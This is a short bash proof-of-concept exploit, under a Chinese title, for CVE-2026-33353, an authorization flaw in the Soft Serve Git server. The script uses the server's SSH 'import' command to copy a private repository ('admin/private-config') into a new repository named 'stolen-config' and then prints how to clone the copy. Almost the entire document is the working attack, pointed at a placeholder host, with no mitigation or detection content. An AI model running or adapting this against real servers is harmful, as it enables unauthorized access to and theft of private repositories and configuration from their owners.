CVE-2026-33353 Soft Serve授权缺陷致私有仓库泄露

#!/bin/bash # PoC for CVE-2026-33353: Soft Serve Authorization Bypass # Description: Exploit the repo import feature to clone a private repository. TARGET_HOST="vulnerable.example.com" TARGET_USER="git" # The private repo we want to steal (path on the server) PRIVATE_REPO="admin/private-config" # The name of the new repo we will create NEW_REPO_NAME="stolen-config" echo "[*] Attempting to exploit CVE-2026-33353 against ${TARGET_HOST}" echo "[*] Targeting private repo: ${PRIVATE_REPO}" # Soft Serve uses SSH for interaction. # The 'import' command is the vulnerable vector. # Usage: ssh git@host import <source> <dest> # In vulnerable versions, <source> can be any local repo. ssh ${TARGET_USER}@${TARGET_HOST} import ${PRIVATE_REPO} ${NEW_REPO_NAME} if [ $? -eq 0 ]; then echo "[+] Exploit successful! Private repo cloned to ${NEW_REPO_NAME}" echo "[+] You can now clone it locally using:" echo " git clone ssh://${TARGET_USER}@${TARGET_HOST}/${NEW_REPO_NAME}" else echo "[-] Exploit failed. Target might be patched or credentials invalid." fi